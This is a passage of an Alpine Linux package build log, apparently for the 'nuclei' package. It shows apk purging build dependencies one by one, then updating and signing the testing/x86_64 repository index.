( 35/162) Purging libwebpdemux (1.6.0-r0) ( 36/162) Purging libxcomposite (0.4.6-r5) ( 37/162) Purging libxcursor (1.2.3-r0) ( 38/162) Purging libxdamage (1.1.6-r5) ( 39/162) Purging libxinerama (1.1.5-r4) ( 40/162) Purging libxkbcommon (1.11.0-r0) ( 41/162) Purging xkeyboard-config (2.45-r0) ( 42/162) Purging libxmu (1.2.1-r0) ( 43/162) Purging libxrandr (1.5.4-r1) ( 44/162) Purging libxslt (1.1.43-r3) ( 45/162) Purging libxt (1.3.1-r0) ( 46/162) Purging libxtst (1.2.5-r0) ( 47/162) Purging libzmq (4.3.5-r2) ( 48/162) Purging mbedtls (3.6.4-r0) ( 49/162) Purging mesa-gbm (25.2.1-r0) ( 50/162) Purging mesa (25.2.1-r0) ( 51/162) Purging minizip (1.3.1-r0) ( 52/162) Purging nss (3.115-r0) ( 53/162) Purging openh264 (2.6.0-r0) ( 54/162) Purging orc (0.4.41-r0) ( 55/162) Purging pango (1.56.4-r0) ( 56/162) Purging pipewire-libs (1.4.7-r0) ( 57/162) Purging roc-toolkit-libs (0.4.0-r1) ( 58/162) Purging simdutf (7.3.6-r0) ( 59/162) Purging speexdsp (1.2.1-r2) ( 60/162) Purging spirv-tools (1.4.321.0-r0) ( 61/162) Purging sqlite-libs (3.50.4-r1) ( 62/162) Purging tdb-libs (1.4.13-r0) ( 63/162) Purging tiff (4.7.0-r2) ( 64/162) Purging wayland-libs-cursor (1.24.0-r0) ( 65/162) Purging wayland-libs-egl (1.24.0-r0) ( 66/162) Purging webrtc-audio-processing-2 (2.1-r0) ( 67/162) Purging abseil-cpp-strings (20240722.1-r2) ( 68/162) Purging abseil-cpp-strings-internal (20240722.1-r2) ( 69/162) Purging abseil-cpp-raw-logging-internal (20240722.1-r2) ( 70/162) Purging libsndfile (1.2.2-r2) ( 71/162) Purging alsa-lib (1.2.14-r1) ( 72/162) Purging ffmpeg-libavcodec (6.1.2-r5) ( 73/162) Purging aom-libs (3.12.1-r0) ( 74/162) Purging at-spi2-core-libs (2.56.4-r1) ( 75/162) Purging avahi-libs (0.8-r22) ( 76/162) Purging cairo (1.18.4-r0) ( 77/162) Purging dbus-libs (1.16.2-r1) ( 78/162) Purging libcamera-ipa (0.5.2-r0) ( 79/162) Purging libcamera (0.5.2-r0) ( 80/162) Purging eudev-libs (3.2.14-r5) ( 81/162) Purging ffmpeg-libswresample (6.1.2-r5) ( 82/162) Purging ffmpeg-libavutil (6.1.2-r5) ( 83/162) Purging libxft (2.3.9-r0) ( 84/162) Purging fontconfig (2.17.1-r0) ( 85/162) Purging harfbuzz (11.3.2-r0) ( 86/162) Purging freetype (2.13.3-r0) ( 87/162) Purging fribidi (1.0.16-r1) ( 88/162) Purging libatk-1.0 (2.56.4-r1) ( 89/162) Purging glib (2.84.4-r0) ( 90/162) Purging gnutls (3.8.8-r0) ( 91/162) Purging graphite2 (1.3.14-r6) ( 92/162) Purging libva (2.22.0-r1) ( 93/162) Purging libdrm (2.4.125-r0) ( 94/162) Purging libpciaccess (0.18.1-r1) ( 95/162) Purging hwdata-pci (0.398-r0) ( 96/162) Purging lame-libs (3.100-r5) ( 97/162) Purging libjxl (0.11.1-r0) ( 98/162) Purging lcms2 (2.16-r0) ( 99/162) Purging libasyncns (0.8-r4) (100/162) Purging libmount (2.41.1-r1) (101/162) Purging libblkid (2.41.1-r1) (102/162) Purging libxi (1.8.2-r0) (103/162) Purging libvdpau (1.5-r4) (104/162) Purging libxext (1.3.6-r2) (105/162) Purging libxrender (0.9.12-r0) (106/162) Purging libxfixes (6.0.1-r4) (107/162) Purging libx11 (1.8.12-r0) (108/162) Purging libxcb (1.17.0-r0) (109/162) Purging libxdmcp (1.1.5-r1) (110/162) Purging libbsd (0.12.2-r0) (111/162) Purging libbz2 (1.0.8-r6) (112/162) Purging libdav1d (1.5.1-r0) (113/162) Purging libeconf (0.7.10-r0) (114/162) Purging libelf (0.193-r0) (115/162) Purging llvm20-libs (20.1.8-r0) (116/162) Purging wayland-libs-client (1.24.0-r0) (117/162) Purging p11-kit (0.25.5-r2) (118/162) Purging libffi (3.5.2-r0) (119/162) Purging libflac (1.4.3-r2) (120/162) Purging libhwy (1.0.7-r1) (121/162) Purging libsm (1.2.6-r0) (122/162) Purging libice (1.1.2-r0) (123/162) Purging libintl (0.24.1-r1) (124/162) Purging libjpeg-turbo (3.1.1-r0) (125/162) Purging libltdl (2.5.4-r1) (126/162) Purging libmd (1.1.0-r0) (127/162) Purging libtheora (1.1.1-r18) (128/162) Purging libvorbis (1.3.7-r2) (129/162) Purging libogg (1.3.6-r0) (130/162) Purging libpng (1.6.49-r0) (131/162) Purging libwebpmux (1.6.0-r0) (132/162) Purging libwebp (1.6.0-r0) (133/162) Purging libsharpyuv (1.6.0-r0) (134/162) Purging libsodium (1.0.20-r0) (135/162) Purging libSvtAv1Enc (2.3.0-r0) (136/162) Purging libtasn1 (4.20.0-r0) (137/162) Purging libunwind (1.8.1-r0) (138/162) Purging libuuid (2.41.1-r1) (139/162) Purging libuv (1.51.0-r0) (140/162) Purging libvpx (1.15.1-r1) (141/162) Purging libxau (1.0.12-r0) (142/162) Purging libxml2 (2.13.8-r0) (143/162) Purging libxshmfence (1.3.3-r0) (144/162) Purging lilv-libs (0.24.26-r0) (145/162) Purging mpg123-libs (1.33.1-r0) (146/162) Purging nettle (3.10.2-r0) (147/162) Purging nspr (4.36-r0) (148/162) Purging x265-libs (3.6-r0) (149/162) Purging numactl (2.0.18-r0) (150/162) Purging onevpl-libs (2023.3.1-r2) (151/162) Purging opus (1.5.2-r1) (152/162) Purging pixman (0.46.4-r0) (153/162) Purging rav1e-libs (0.8.1-r0) (154/162) Purging sratom (0.6.18-r0) (155/162) Purging sord-libs (0.16.18-r0) (156/162) Purging serd-libs (0.32.4-r0) (157/162) Purging soxr (0.1.3-r7) (158/162) Purging x264-libs (0.164.3108-r0) (159/162) Purging xvidcore (1.3.7-r2) (160/162) Purging xz-libs (5.8.1-r0) (161/162) Purging yaml (0.2.5-r2) (162/162) Purging zix-libs (0.6.2-r0) busybox-1.37.0-r22.trigger: Executing script... OK: 441 MiB in 106 packages >>> nuclei: Updating the testing/x86_64 repository index... >>> nuclei: Signing the index...